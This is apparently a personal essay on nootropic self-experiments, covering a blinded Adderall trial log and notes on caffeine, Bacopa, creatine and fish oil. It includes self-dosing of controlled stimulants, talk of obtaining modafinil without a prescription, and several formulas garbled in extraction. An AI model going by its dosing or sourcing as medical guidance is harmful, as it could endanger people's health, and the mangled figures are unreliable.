Blinding yourself

But how to blind myself? I used my pill maker to make 9 OO pills of piracetam mix, and then 9 OO pills of piracetam mix+the Adderall, then I put them in a baggy. The idea is that I can blind myself as to what pill I am taking that day since at the end of the day, I can just look in the baggy and see whether a placebo or Adderall pill is missing: the big capsules are transparent so I can see whether there is a crushed-up blue Adderall in the end or not. If there are fewer Adderall than placebo, I took an Adderall, and vice-versa. Now, since I am checking at the end of each day, I also need to remove or add the opposite pill to maintain the ratio and make it easy to check the next day; more importantly I need to replace or remove a pill, because otherwise the odds will be skewed and I will know how they are skewed. (Imagine I started with 4 Adderalls and 4 placebos, and then 3 days in a row I draw placebos but I don’t add or remove any pills; the next day, because most of the placebos have been used up, there’s only a small chance I will get a placebo…)

This is only one of many ways to blind myself; for example, instead of using one bag, one could use two bags and instead blindly pick a bag to take a pill out of, balancing contents as before. (See also my Vitamin D and day modafinil trials.)

Results

  1. Began double-blind trial. Today I took one pill blindly at 1:53 PM. at the end of the day when I have written down my impressions and guess whether it was one of the Adderall pills, then I can look in the baggy and count and see whether it was. there are many other procedures one can take to blind oneself (have an accomplice mix up a sequence of pills and record what the sequence was; don’t count & see but blindly take a photograph of the pill each day, etc.) Around 3, I begin to wonder whether it was Adderall because I am arguing more than usual on IRC and my heart rate seems a bit high just sitting down. 6 PM: I’ve started to think it was a placebo. My heart rate is back to normal, I am having difficulty concentrating on long text, and my appetite has shown up for dinner (although I didn’t have lunch, I don’t think I had lunch yesterday and yesterday the hunger didn’t show up until past 7). Productivity wise, it has been a normal day. All in all, I’m not too sure, but I think I’d guess it was Adderall with 40% confidence (another way of saying ‘placebo with 60% confidence’). When I go to examine the baggie at 8:20 PM, I find out… it was an Adderall pill after all. Oh dear. One little strike against Adderall that I guessed wrong. It may be that the problem is that I am intrinsically a little worse today (normal variation? come down from Adderall?).

    So, a change to the protocol. I will take a pill every other day - a day to washout and reacclimate to ‘baseline’, and then an experimental day. In subsequent entries, assume there was either a at least one intervening break or placebo day.
  2. Took random pill at 2:02 PM. Went to lunch half an hour afterwards, talked until 4 - more outgoing than my usual self. I continued to be pretty energetic despite not taking my caffeine+piracetam pills, and though it’s now 12:30 AM and I listened to TAM YouTube videos all day while reading, I feel pretty energetic and am reviewing Mnemosyne cards. I am pretty confident the pill today was Adderall. Hard to believe placebo effect could do this much for this long or that normal variation would account for this. I’d say 90% confidence it was Adderall. I do some more Mnemosyne, typing practice, and reading in a Montaigne book, and finally get tired and go to bed around 1:30 AM or so. I check the baggie when I wake up the next morning, and sure enough, it had been an Adderall pill. That makes me 1 for 2.
  3. Took pill 1:27 PM. At 2 my hunger gets the best of me (despite my usual tea drinking and caffeine+piracetam pills) and I eat a large lunch. This makes me suspicious it was placebo - on the previous days I had noted a considerable appetite-suppressant effect. 5:25 PM: I don’t feel unusually tired, but nothing special about my productivity. 8 PM; no longer so sure. Read and excerpted a fair bit of research I had been putting off since the morning. After putting away all the laundry at 10, still feeling active, I check. It was Adderall. I can’t claim this one either way. By 9 or 10 I had begun to wonder whether it was really Adderall, but I didn’t feel confident saying it was; my feeling could be fairly described as 50%.
  4. Break; this day/night was for trying armodafinil, pill #1
  5. Took pill around 6 PM; I had a very long drive to and from an airport ahead of me, ideal for Adderall. In case it was Adderall, I chewed up the pill - by making it absorb faster, more of the effect would be there when I needed it, during driving, and not lingering in my system past midnight. Was it? I didn’t notice any change in my pulse, I yawned several times on the way back, my conversation was not more voluminous than usual. I did stay up later than usual, but that’s fully explained by walking to get ice cream. All in all, my best guess was that the pill was placebo, and I feel fairly confident but not hugely confident that it was placebo. I’d give it ~70%. And checking the next morning… I was right! Finally.
  6. Took pill 12:11 PM. I am not certain. While I do get some things accomplished (a fair amount of work on the Silk Road article and its submission to places), I also have some difficulty reading through a fiction book (Sum) and I seem kind of twitchy and constantly shifting windows. I am weakly inclined to think this is Adderall (say, 60%). It’s not my normal feeling. Next morning - it was Adderall.
  7. Week-long break - armodafinil #2 experiment, volunteer work
  8. Took pill #6 at 12:35 PM. Hard to be sure. I ultimately decided that it was Adderall because I didn’t have as much trouble as I normally would in focusing on reading and then finishing my novel (Surface Detail) despite my family watching a movie, though I didn’t notice any lack of appetite. Call this one 60-70% Adderall. I check the next evening and it was Adderall.
  9. Took pill at 10:50 AM. At 12:30 I watch the new Captain America, and come out as energetic as I went in and was not hungry for snacks at all during it; at this point, I’m pretty confident (70%) that it was Adderall. At 5 I check, and it was. Overall, pretty normal day, save for leading up to the third armodafinil trial.
  10. Just 3 Adderall left; took random pill at 12:30. Hopefully I can get a lot of formatting done on hafu. I do manage to do a lot of work on it and my appetite seems minor up until 8 PM, although if not for those two observations; perhaps 60% that it was Adderall. I check the next morning, and it was not.
  11. Skipping break day since it was placebo yesterday and I’d like to wind up the Adderall trials. Pill at 12:24 PM. I get very hungry around 3 PM, and it’s an unproductive day even considering how much stress and aggravation and the 3 hours a failed Debian unstable upgrade cost me. I feel quite sure (75%) it was placebo. It was.
  12. Took pill at 11:27 AM. Moderately productive. Not entirely sure. 50% either way. (It’s placebo.)
  13. Pill at 12:40 PM. I spend entirely too much time arguing matters related to a LW post and on IRC, but I manage to channel it into writing a new mini-essay on my past intellectual sins. This sort of thing seems like Adderall behavior, and I don’t get hungry until much later. All in all, I feel easily 75% sure it’s Adderall; and it was.
  14. 12:18 PM. (There are/were just 2 Adderall left now.) I manage to spend almost the entire afternoon single-mindedly concentrating on transcribing two parts of a 1996 Toshio Okada interview (it was very long, and the formatting more challenging than expected), which is strong evidence for Adderall, although I did feel fairly hungry while doing it. I don’t go to bed until midnight and & sleep very poorly - despite taking triple my usual melatonin! Inasmuch as I’m already fairly sure that Adderall damages my sleep, this makes me even more confident (>80%). When I grumpily crawl out of bed and check: it’s Adderall. (One Adderall left.)
  15. 10:50 AM. Normal appetite; I try to read through Edward Luttwak’s The Grand Strategy of the Byzantine Empire, slow going. Overall, I guess it was placebo with 70% - I notice nothing I associate with Adderall. I check it at midnight, and it was placebo.
  16. 11:30 AM. By 2:30 PM, my hunger is quite strong and I don’t feel especially focused - it’s difficult to get through the tab-explosion of the morning, although one particularly stupid poster on the DNB ML makes me feel irritated like I might on Adderall. I initially figure the probability at perhaps 60% for Adderall, but when I wake up at 2 AM and am completely unable to get back to sleep, eventually racking up a Zeo score of 73 (compared to the usual 100s), there’s no doubt in my mind (95%) that the pill was Adderall. And it was the last Adderall pill indeed.

My predictions were substantially better than random chance, so my default belief - that Adderall does affect me and (mostly) for the better - is borne out. I usually sleep very well and 3 separate incidents of horrible sleep in a few weeks seems rather unlikely (though I didn’t keep track of dates carefully enough to link the Zeo data with the Adderall data). Between the price and the sleep disturbances, I don’t think Adderall is personally worthwhile.

Value of Information (VoI)

See also the discussion as applied to ordering modafinil& evaluating sleep experiments.

The amphetamine mix branded “Adderall” is terribly expensive to obtain even compared to modafinil, due to its tight regulation (a lower schedule than modafinil), popularity in college as a study drug, and reportedly moves by its manufacture to exploit its privileged position as a licensed amphetamine maker to extract more consumer surplus. I paid roughly $4 a pill but could have paid up to $10. Good stimulant hygiene involves recovery periods to avoid one’s body adapting to eliminate the stimulating effects, so even if Adderall was the answer to all my woes, I would not be using it more than 2 or 3 times a week. Assuming 50 uses a year (for specific projects, let’s say, and not ordinary aimless usage), that’s a cool $200 a year. My general belief was that Adderall would be too much of a stimulant for me, as I am amphetamine-naive and Adderall has a bad reputation for letting one waste time on unimportant things. We could say my prediction was 50% that Adderall would be useful and worth investigating further. The experiment was pretty simple: blind randomized pills, 10 placebo & 10 active. I took notes on how productive I was and the next day guessed whether it was placebo or Adderall before breaking the seal and finding out. I didn’t do any formal statistics for it, much less a power calculation, so let’s try to be conservative by penalizing the information quality heavily and assume it had 25%. So 2000ln1.05×0.50×0.25=512! The experiment probably used up no more than an hour or two total.

Vaniver argues that since I start off not intending to continue Adderall, the analysis actually needs to be different:

In 3, you’re considering adding a new supplement, not stopping a supplement you already use. The “I don’t try Adderall” case has value $0, the “Adderall fails” case is worth -$40 (assuming you only bought 10 pills, and this number should be increased by your analysis time and a weighted cost for potential permanent side effects), and the “Adderall succeeds” case is worth $X-40-4099, where $X is the discounted lifetime value of the increased productivity due to Adderall, minus any discounted long-term side effect costs. If you estimate Adderall will work with p=.5, then you should try out Adderall if you estimate that 0.5×(X4179)>0 ~> $X>4179$. (Adderall working or not isn’t binary, and so you might be more comfortable breaking down the various “how effective Adderall is” cases when eliciting X, by coming up with different levels it could work at, their values, and then using a weighted sum to get X. This can also give you a better target with your experiment- “this needs to show a benefit of at least Y from Adderall for it to be worth the cost, and I’ve designed it so it has a reasonable chance of showing that.”)

One thing to notice is that the default case matters a lot. This asymmetry is because you switch decisions in different possible worlds - when you would take Adderall but stop you’re in the world where Adderall doesn’t work, and when you wouldn’t take Adderall but do you’re in the world where Adderall does work (in the perfect information case, at least). One of the ways you can visualize this is that you don’t penalize tests for giving you true negative information, and you reward them for giving you true positive information. (This might be worth a post by itself, and is very Litany of Gendlin.)

Either way, this example demonstrates that anything you are doing expensively is worth testing extensively.

The adrafinil/Olmifon (bought simultaneously with the hydergine from Anti-Aging Systems, now Antiaging Central) was a disappointment. Almost as expensive as actual modafinil, with the risk of liver problems, but did nothing whatsoever that I noticed. It is supposed to be subtler than modafinil, but that’s a little ridiculous.

The advantage of adrafinil is that it is legal & over-the-counter in the USA, so one removes the small legal risk of ordering & possessing modafinil without a prescription, and the retailers may be more reliable because they are not operating in a niche of dubious legality. Based on comments from others, the liver problem may have been overblown, and modafinil vendors post-2012 seem to have become more unstable, so I may give adrafinil (from another source than Antiaging Central) a shot when my modafinil/armodafinil run out.

Very expensive; I noticed minimal improvements when combined with sulbutiamine & piracetam+choline. Definitely not worthwhile for me.

Bacopa monnieri (Examine, nootropics survey, Reddit discussions) is an herb prominent for its use in Ayurvedic medicine. Taken chronically over long time-periods, Bacopa may improve cognition and help with stress, but (like some other Ayurvedic remedies) has a potential drawback in the form of heavy metal contamination.

The psychology & medical literature is sporadic and studies are somewhat confounded by the issues of dosage and dose length, but overall the evidence for improvements is better than that for most nootropics. “The Cognitive-Enhancing Effects of Bacopa monnieri: A Systematic Review of Randomized, Controlled Human Clinical Trials” found evidence of benefits to memory in several >=12-week-long RCTs. “Cognitive effects of two nutraceuticals Ginseng and Bacopa benchmarked against modafinil: a review and comparison of effect sizes” reviewed mostly the same studies. “Meta-analysis of randomized controlled trials on cognitive effects of Bacopa monnieri extract” attempted to meta-analyze the studies (specifically: Stough et al 2001, Roodenrys et al 2002, Raghav et al 2006, Barbhaiya et al 2008, Calabrese et al 2008, Stough et al 2008, Peth-Nui et al 2012, & Sathyanarayanan et al 2013) and found that of the 21 possible metrics/tests, the trail-making and reaction-time improvements had low heterogeneity between studies & also reached statistical-significance; unfortunately, heterogeneity was very high in most metrics, few studies examined the same metrics, and the low study count renders impossible any estimate of how bad the publication bias is (typically severe) or other checks of quality/reliability, so the results are not as impressive as they might appear. Overall, it seems like Bacopa likely has some useful effects.

Practically, I have 2 concerns about Bacopa:

  1. obtaining a heavy-metal-free product for long-term consumption (what good is it to benefit from Bacopa if you are simultaneously building up a near-permanent heavy metal burden?)

    CoAs are the first line of defense but availability differs: Ayur Sante, Nutrigold, Indigo Herbs, Banyan Botanical & Nutricargo reportedly provide CoAs as does NootropicsDepot; while Planetary Herbals, Himalaya, & Mind Nutrition have stonewalled requests.

    Probably the best bet is to go with Bacognize: NootropicsDepot’s CoA& an independent lab test confirms that the heavy metal levels are acceptably low in that standardized branded source. (May cost more, though.)
  2. how hard self-experimenting is.

    Self-experimenting is both easy and hard: it’s easy because there should be effects on memory recall which can be easily extracted from spaced repetition software like Mnemosyne, but hard because onset requires many weeks so a self-experiment must either have few blocks (limiting comparability) or be lengthy (to allow for multiple transitions between Bacopa and placebo conditions). I may have to settle for a lesser analysis like a before-after comparison, and only then if the results are positive consider the expense & difficulty of a full RCT over a number of months.

Bacopa can be bought from a number of retailers. There are several capsule sellers on Amazon, and NootropicsDepot sells both capsules& powder. More specifically (as of 11 September 2014, assuming using Amazon’s free shipping & NootropicsDepot’s regular S&H):

The cheapest Bacognize, if one doesn’t want to cap one’s own pills (as one probably does since the powder reportedly tastes bad), would seem to be the Swanson. (The Nutrigold is substantially cheaper, but also comes with a different branded source and is half-generic, and if one wanted to roll the dice, there are probably much cheaper sources of Bacopa on Amazon.) At 90x250mg, the dose per pill is a little inconveniently low for daily usage (>=300mg would be better) but still usable, so the daily cost would be $0.13, and it’d cover 90 days - conveniently, the same time period used in a number of studies such as Stough et al 2008.

I ordered 2 bottles of the Swanson on 14 September, and began taking one pill in the morning with olive oil on 26 September 2014. I intend to do an ABA trial, checking for correlated changes in my Mnemosyne scores, sleep (changes are often reported anecdotally), and possibly other things such as my daily self-ratings or extracted factors.

Based on this H+ article/advertisement, I gave a PEA supplement a try. Noticed nothing. Critical commentators pointed out that PEA was notoriously degraded by the digestive system and has essentially no effect on its own, though Neurvana’s ‘pro’ supplement claimed to avoid that. I guess it doesn’t.

Discussions of PEA mention that it’s almost useless without a MAOI to pave the way; hence, when I decided to get deprenyl and noticed that deprenyl is a MAOI, I decided to also give PEA a second chance in conjunction with deprenyl. Unfortunately, in part due to my own shenanigans, Nubrain canceled the deprenyl order and so I have 20g of PEA sitting around. Well, it’ll keep until such time as I do get a MAOI.

Caffeine (Examine.com; FDA adverse events) is of course the most famous stimulant around. But consuming 200mg or more a day, I have discovered the downside: it is addictive and has a nasty withdrawal - headaches, decreased motivation, apathy, and general unhappiness. (It’s a little amusing to read academic descriptions of caffeine addiction; if caffeine were a new drug, I wonder what Schedule it would be in and if people might be even more leery of it than modafinil.) Further, in some ways, aside from the ubiquitous placebo effect, caffeine combines a mix of weak performance benefits (Lorist & Snel 2008, Nehlig 2010) with some possible decrements, anecdotally and scientifically:

  1. slows memory retrieval for unprimed memories (although it speeds retrieval for related/primed memories)
  2. the usual U-curve applies to caffeine doses: eg while a small dose of caffeine in energy drinks substantially improves reaction-time in the cued go/no-go task, higher doses improve reaction-time less and are much closer to baseline (their optimal tested dose is, for my weight of 93kg, ~100mg)
  3. caffeine damages sleep (necessary for memory and alertness), even 6 hours before sleep
  4. very low doses (9mg) of caffeine can still have negative effects
  5. did I mention that it correlates with changed estrogen levels in women?
  6. in rats, it inhibits memory formation in the hippocampusandinmice, although other mice saw mental benefits with improvement to “long-term memory when tested with object recognition”

Finally, it’s not clear that caffeine results in performance gains after long-term use; homeostasis/tolerance is a concern for all stimulants, but especially for caffeine. It is plausible that all caffeine consumption does for the long-term chronic user is restore performance to baseline. (Imagine someone waking up and drinking coffee, and their performance improves - well, so would the performance of a non-addict who is also slowly waking up!) See for example, James & Rogers 2005, Sigmon et al 2009, and Rogers et al 2010. A cross-section of thousands of participants in the Cambridge brain-training study found “caffeine intake showed negligible effect sizes for mean and component scores” (participants were not told to use caffeine, but the training was recreational & difficult, so one expects some difference).

This research is in contrast to the other substances I like, such as piracetam or fish oil. I knew about withdrawal of course, but it was not so bad when I was drinking only tea. And the side-effects like jitteriness are worse on caffeine without tea; I chalk this up to the lack of theanine. (My later experiences with theanine seems to confirm this.) These negative effects mean that caffeine doesn’t satisfy the strictest definition of ‘nootropic’ (having no negative effects), but is merely a ‘cognitive enhancer’ (with both benefits & costs). One might wonder why I use caffeine anyway if I am so concerned with mental ability.

My answer is that this is not a lot of research or very good research (not nearly as good as the research on nicotine, eg.), and assuming it’s true, I don’t value long-term memory that much because LTM is something that is easily assisted or replaced (personal archives, and spaced repetition). For me, my problems tend to be more about akrasia and energy and not getting things done, so even if a stimulant comes with a little cost to long-term memory, it’s still useful for me. I’m going continue to use the caffeine. It’s not so bad in conjunction with tea, is very cheap, and I’m already addicted, so why not? Caffeine is extremely cheap, addictive, has minimal effects on health (and may be beneficial, from the various epidemiological associations with tea/coffee/chocolate & longevity), and costs extra to remove from drinks popular regardless of their caffeine content (coffee and tea again). What would be the point of carefully investigating it? Suppose there was conclusive evidence on the topic, the value of this evidence to me would be roughly $0 or since ignorance is bliss, negative money - because unless the negative effects were drastic (which current studies rule out, although tea has other issues like fluoride or metal contents), I would not change anything about my life. Why? I enjoy my tea too much. My usual tea seller doesn’t even have decaffeinated oolong in general, much less various varieties I might want to drink, apparently because de-caffeinating is so expensive it’s not worthwhile. What am I supposed to do, give up my tea and caffeine just to save on the cost of caffeine? Buy de-caffeinating machines (which I couldn’t even find any prices for, googling)? This also holds true for people who drink coffee or caffeinated soda. (As opposed to a drug like modafinil which is expensive, and so the value of a definitive answer is substantial and would justify some more extensive calculating of cost-benefit.)

I ordered 400g of ‘anhydrous caffeine’ from Smart Powders. Apparently my oolong tea doesn’t contain very much caffeine, so adding a fraction of a gram wakes me up a bit. Surprisingly for something with ‘anhydrous’ in its name, it doesn’t seem to dissolve very well.

I ultimately mixed it in with the 3kg of piracetam and included it in that batch of pills. I mixed it very thoroughly, one ingredient at a time, so I’m not very worried about ‘hot spots’. But if you are, one clever way to get accurate caffeine measurements is to measure out a large quantity & dissolve it since it’s easier to measure water than powder, and dissolving guarantees even distribution. This can be important because caffeine is, like nicotine, an alkaloid poison which - “the dose makes the poison” - can kill in high doses, and concentrated powder makes it easy to take too much, as one inept Englishman discovered the hard way. (This dissolving trick is applicable to anything else that dissolves nicely.)

Does little alone, but absolutely necessary in conjunction with piracetam. (Bought from Smart Powders.) When turning my 3kg of piracetam into pills, I decided to avoid the fishy-smelling choline and go with 500g of DMAE (Examine.com); it seemed to work well when I used it before with oxiracetam& piracetam, since I had no ‘piracetam headaches’, and be considerably less bulky.

In the future, I might try Alpha-GPC instead of the regular cholines; that supposedly has better bio-availability.

Chocolate or cocoa powder (Examine.com), contains the stimulants caffeine and the caffeine metabolite theobromine, so it’s not necessarily surprising if cocoa powder was a weak stimulant. It’s also a witch’s brew of chemicals such as polyphenols and flavonoids some of which have been fingered as helpful, which all adds up to an unclear impact on health (once you control for eating a lot of sugar).

Googling, you sometimes see correlational studies like “Intake of Flavonoid-Rich Wine, Tea, and Chocolate by Elderly Men and Women Is Associated with Better Cognitive Test Performance”; in this one, the correlated performance increase from eating chocolate was generally fairly modest (say, <10%), and the maximum effects were at 10g/day of what was probably milk chocolate, which generally has 10-40% chocolate liquor in it, suggesting any experiment use 1-4g. More interesting is the blind RCT experiment “Consumption of cocoa flavanols results in acute improvements in mood and cognitive performance during sustained mental effort”, which found improvements at ~1g; the most dramatic improvement of the 4 tasks (on the “Threes correct”) saw a difference of 2 to 6 at the end of the hour of testing, while several of the other tests converged by the end or saw the controls winning (“Sevens correct”). Crews et al 2008 found no cognitive benefit, and an fMRI experiment found the change in brain oxygen levels it wanted but no improvement to reaction times.

It’s not clear that there is much of an effect at all. This makes it hard to design a self-experiment - how big an effect on, say, dual n-back should I be expecting? Do I need an arduous long trial or an easy short one? This would principally determine the “value of information” too; chocolate seems like a net benefit even if it does not affect the mind, but it’s also fairly costly, especially if one likes (as I do) dark chocolate. Given the mixed research, I don’t think cocoa powder is worth investigating further as a nootropic.

Coconut oil was recommended by Pontus Granström on the Dual N-Back mailing list for boosting energy & mental clarity. It is fairly cheap (~$13 for 30 ounces) and tastes surprisingly good; it has a very bad reputation in some parts, but seems to be in the middle of a rehabilitation. Seth Robert’s Buttermind experiment found no mental benefits to coconut oil (and benefits to eating butter), but I wonder.

The first night I was eating some coconut oil, I did my n-backing past 11 PM; normally that damages my scores, but instead I got 66/66/75/88/77% (▁▁▂▇▃) on D4B and did not feel mentally exhausted by the end. The next day, I performed well on the Cambridge mental rotations test. An anecdote, of course, and it may be due to the vitamin D I simultaneously started. Or another day, I was slumped under apathy after a promising start to the day; a dose of fish & coconut oil, and 1 last vitamin D, and I was back to feeling chipper and optimist. Unfortunately I haven’t been testing out coconut oil & vitamin D separately, so who knows which is to thank. But still interesting.

After several weeks of regularly consuming coconut oil and using up the first jar of 15oz, I’m no longer particularly convinced it was doing anything. (I’ve found it’s good for frying eggs, though.) Several days after using up the second jar, I notice no real difference in mood or energy or DNB scores.

One of the most obscure -racetams around, coluracetam (Smarter Nootropics, Ceretropic, Isochroma) acts in a different way from piracetam - piracetam apparently attacks the breakdown of acetylcholine while coluracetam instead increases how much choline can be turned into useful acetylcholine. This apparently is a unique mechanism. A crazy Longecity user, ScienceGuy ponied up $16,000 (!) for a custom synthesis of 500g; he was experimenting with 10-80mg sublingual doses (the ranges in the original anti-depressive trials) and reported a laundry list of effects (as does Isochroma): primarily that it was anxiolytic and increased work stamina. Unfortunately for my stack, he claims it combines poorly with piracetam. He offered free 2g samples for regulars to test his claims. I asked & received some.

Experiment design is complicated by his lack of use of any kind of objective tests, but 3 metrics seem worthwhile:

  1. dual n-back: testing his claims about concentration, increased energy & stamina, and increased alertness & lucidity.
  2. daily Mnemosyne flashcard scores: testing his claim about short & medium-term memory, viz.

    I have personally found that with respect to the NOOTROPIC effect(s) of all the RACETAMS, whilst I have experienced improvements in concentration and working capacity / productivity, I have never experienced a noticeable ongoing improvement in memory. COLURACETAM is the only RACETAM that I have taken wherein I noticed an improvement in MEMORY, both with regards to SHORT-TERM and MEDIUM-TERM MEMORY. To put matters into perspective, the memory improvement has been mild, yet still significant; whereas I have experienced no such improvement at all with the other RACETAMS.

  3. daily mood/productivity log (1-5): for the anxiolytic and working claims.

(In all 3, higher = better, so a multivariate result is easily interpreted..)

He recommends a 10mg dose, but sublingually. He mentions “COLURACETAM’s taste is more akin to that of PRAMIRACETAM than OXIRACETAM, in that it tastes absolutely vile” (not a surprise), so it is impossible to double-blind a sublingual administration - even if I knew of an inactive equally-vile-tasting substitute, I’m not sure I would subject myself to it. To compensate for ingesting the coluracetam, it would make sense to double the dose to 20mg (turning the 2g into <100 doses). Whether the effects persist over multiple days is not clear; I’ll assume it does not until someone says it does, since this makes things much easier.

Creatine (Examine.com) monohydrate was another early essay of mine - cheap (because it’s so popular with the bodybuilder types), and with a very good safety record. I bought some from Bulk Powders and combined it with my then-current regimen (piracetam+choline).

I’m not a bodybuilder, but my interest was sparked by several studies, some showing benefits and others not - usually in subpopulations like vegetarians or old people.

As I am not any of the latter, I didn’t really expect a mental benefit. As it happens, I observed nothing. What surprised me was something I had forgotten about: its physical benefits. My performance in Taekwondo classes suddenly improved - specifically, my endurance increased substantially. Before, classes had left me nearly prostrate at the end, but after, I was weary yet fairly alert and happy. (I have done Taekwondo since I was 7, and I have a pretty good sense of what is and is not normal performance for my body. This was not anything as simple as failing to notice increasing fitness or something.) This was driven home to me one day when in a flurry before class, I prepared my customary tea with piracetam, choline & creatine; by the middle of the class, I was feeling faint & tired, had to take a break, and suddenly, thunderstruck, realized that I had absentmindedly forgot to actually drink it! This made me a believer.

After I ran out of creatine, I noticed the increased difficulty, and resolved to buy it again at some point; many months later, there was a Smart Powders sale so bought it in my batch order, $12 for 1000g. As before, it made Taekwondo classes a bit easier. I paid closer attention this second time around and noticed that as one would expect, it only helped with muscular fatigue and did nothing for my aerobic issues. (I hate aerobic exercise, so it’s always been a weak point.) I eventually capped it as part of a sulbutiamine-DMAE-creatine-theanine mix. This ran out 1 May 2013. In March 2014, I spent $19 for 1kg of micronized creatine monohydrate to resume creatine use and also to use it as a placebo in a honey-sleep experiment testing Seth Roberts’s claim that a few grams of honey before bedtime would improve sleep quality: my usual flour placebo being unusable because the mechanism might be through simple sugars, which flour would digest into. (I did not do the experiment: it was going to be a fair amount of messy work capping the honey and creatine, and I didn’t believe Roberts’s claims for a second - my only reason to do it would be to prove the claim wrong but he’d just ignore me and no one else cares.) I didn’t try measuring out exact doses but just put a spoonful in my tea each morning (creatine is tasteless). The 1kg lasted from 25 March to 18 September or 178 days, so ~5.6g & $0.11 per day.

Ryan Carey tracked creatine consumption vs some tests with ambiguous results.

Fish oil (Examine.com, buyer’s guide) provides benefits relating to general mood (eg. inflammation& anxiety; see later on anxiety) and anti-schizophrenia; it is one of the better supplements one can take. (The known risks are a higher rate of prostate cancer and internal bleeding, but are outweighed by the cardiac benefits - assuming those benefits exist, anyway, which may not be true.) The benefits of omega acids are well-researched.

It is at the top of the supplement snake oil list thanks to tons of correlations; for a review, see Luchtman & Song 2013 but some specifics include “Teenage Boys Who Eat Fish At Least Once A Week Achieve Higher Intelligence Scores”, anti-inflammatory properties (see “Fish Oil: What the Prescriber Needs to Know” on arthritis), and others - “Fish oil can head off first psychotic episodes” (study; Seth Roberts commentary), “Fish Oil May Fight Breast Cancer”, “Fatty Fish May Cut Prostate Cancer Risk”& “Walnuts slow prostate cancer”, “Benefits of omega-3 fatty acids tally up”, “Serum Phospholipid Docosahexaenonic Acid Is Associated with Cognitive Functioning during Middle Adulthood”endlessanecdotes.

But like any other supplement, there are some safetyconcerns negative studies like “Fish oil fails to hold off heart arrhythmia” or “other reports cast doubt on a protective effect against dementia” or “Fish Oil Use in Pregnancy Didn’t Make Babies Smart” (WSJ) (an earlypromise but one that fadedabitlater) or “…Supplementation with DHA compared with placebo did not slow the rate of cognitive and functional decline in patients with mild to moderate Alzheimer disease.”.

As far as anxiety goes, psychiatrist Emily Deans has an overview of why the Kiecolt-Glaser et al 2011 study is nice; she also discusses why fish oil seems like a good idea from an evolutionary perspective. There was also a weaker earlier 2005 study also using healthy young people, which showed reduced anger/anxiety/depression plus slightly faster reactions. The anti-stress/anxiolytic may be related to the possible cardiovascular benefits (Carter et al 2013).

Experiment?

I can test fish oil for mood, since the other claimed benefits like anti-schizophrenia are too hard to test. The medical student trial (Kiecolt-Glaser et al 2011) did not see changes until visit 3, after 3 weeks of supplementation. (Visit 1, 3 weeks, visit 2, supplementation started for 3 weeks, visit 3, supplementation continued 3 weeks, visit 4 etc.) There were no tests in between the test starting week 1 and starting week 3, so I can’t pin it down any further. This suggests randomizing in 2 or 3 week blocks. (For an explanation of blocking, see the footnote in the Zeo page.)

The placebos can be the usual pills filled with olive oil. The Nature’s Answer fish oil is lemon-flavored; it may be worth mixing in some lemon juice. In Kiecolt-Glaser et al 2011, ‘anxiety’ was measured via the Beck Anxiety scale; the placebo mean was 1.2 on a standard deviation of 0.075, and the experimental mean was 0.93 on a standard deviation of 0.076. (These are all log-transformed covariates or something; I don’t know what that means, but if I naively plug those numbers into Cohen’s d, I get a very large effect: 1.20.930.076=3.55.)

Quasi-experiment

I noticed what may have been an effect on my dual n-back scores; the difference is not large (▃▆▃▃▂▂▂▂▄▅▂▄▂▃▅▃▄ vs ▃▄▂▂▃▅▂▂▄▁▄▃▅▂▃▂▄▂▁▇▃▂▂▄▄▃▃▂▃▂▂▂▃▄▄▃▆▄▄▂▃▄▃▁▂▂▂▃▂▄▂▁▁▂▄▁▃▂▄) and appears mostly in the averages - Toomim’s quick two-sample t-test gave p=0.23, although a another analysis gives p=0.1381. One issue with this before-after quasi-experiment is that one would expect my scores to slowly rise over time and hence a fish oil after would yield a score increase - the 3.2 point difference could be attributable to that, placebo effect, or random variation etc. But an accidentally noticed effect (d=0.28) is a promising start. An experiment may be worth doing given that fish oil does cost a fair bit each year: randomized blocks permitting an fish-oil-then-placebo comparison would take care of the first issue, and then blinding (olive oil capsules versus fish oil capsules?) would take care of the placebo worry.

Power calculation

We have clear hypotheses here, so we can be a little optimistic: the fish oil will either improve mood or scores or it will do nothing; it will not worsen either. First, the large anxiety effect:

pwr.t.test(d=3.55,type="paired",power=0.75,alternative="greater",sig.level=0.05)

     Paired t test power calculation

              n =2.269155

              NOTE:n is number of *pairs*

Suspiciously easy. 2.25 pairs or 6 blocks? Let’s be pessimistic and use the smaller effect size estimate from my quasi-trial:

pwr.t.test(d=0.28,type="paired",power=0.75,alternative="greater",sig.level=0.05)

     Paired t test power calculation

              n =69.98612

70 pairs is 140 blocks; we can drop to 36 pairs or 72 blocks if we accept a power of 0.5/50% chance of reaching significance. (Or we could economize by hoping that the effect size is not 3.5 but maybe twice the pessimistic guess; a d=0.5 at 50% power requires only 12 pairs of 24 blocks.) 70 pairs of blocks of 2 weeks, with 2 pills a day requires (70×2)×(2×7)×2=3920 pills. I don’t even have that many empty pills! I have <500; 500 would supply 250 days, which would yield 18 2-week blocks which could give 9 pairs. 9 pairs would give me a power of:

pwr.t.test(d=0.28,type="paired",alternative="greater",sig.level=0.05,n=9)

          power =0.1908962pwr.t.test(d=0.5,type="paired",alternative="greater",sig.level=0.05,n=9)

          power =0.3927739

A 20-40% chance of detecting the effect.

VoI

For background on “value of information” calculations, see the Adderall calculation.

  1. Cost of fish oil:

    The price is not as good as multivitamins or melatonin. The studies showing effects generally use pretty high dosages, 1-4g daily. I took 4 capsules a day for roughly 4g of omega acids. The jar of 400 is 100 days’ worth, and costs ~$17, or around 17¢ a day. The general health benefits push me over the edge of favoring its indefinite use, but looking to economize. Usually, small amounts of packaged substances are more expensive than bulk unprocessed, so I looked at fish oil fluid products; and unsurprisingly, liquid is more cost-effective than pills (but like with the powders, straight fish oil isn’t very appetizing) in lieu of membership somewhere or some other price-break. I bought 4 bottles (16 fluid ounces each) for $53.31 total (thanks to coupons & sales), and each bottle lasts around a month and a half for perhaps half a year, or ~$100 for a year’s supply. (As it turned out, the 4 bottles lasted from 4 December 2010 to 17 June 2011, or 195 days.) My next batch lasted 19 August 2011-20 February 2012, and cost $58.27. Since I needed to buy empty 00 capsules (for my lithium experiment) and a book (Stanovich 2010, for SIAI work) from Amazon, I bought 4 more bottles of 16fl oz Nature’s Answer (lemon-lime) at $48.44, which I began using 27 February 2012. So call it ~$70 a year.

    Most of the most solid fish oil results seem to meliorate the effects of age; in my 20s, I’m not sure they are worth the cost. But I would probably resume fish oil in my 30s or 40s when aging really becomes a concern. So the experiment at most will result in discontinuing for a decade. At $X a year, that’s a net present value of sum $ map (\n -> 70 / (1 + 0.05)^n) [1..10] = $540.5.
  2. Cost of experimentation:

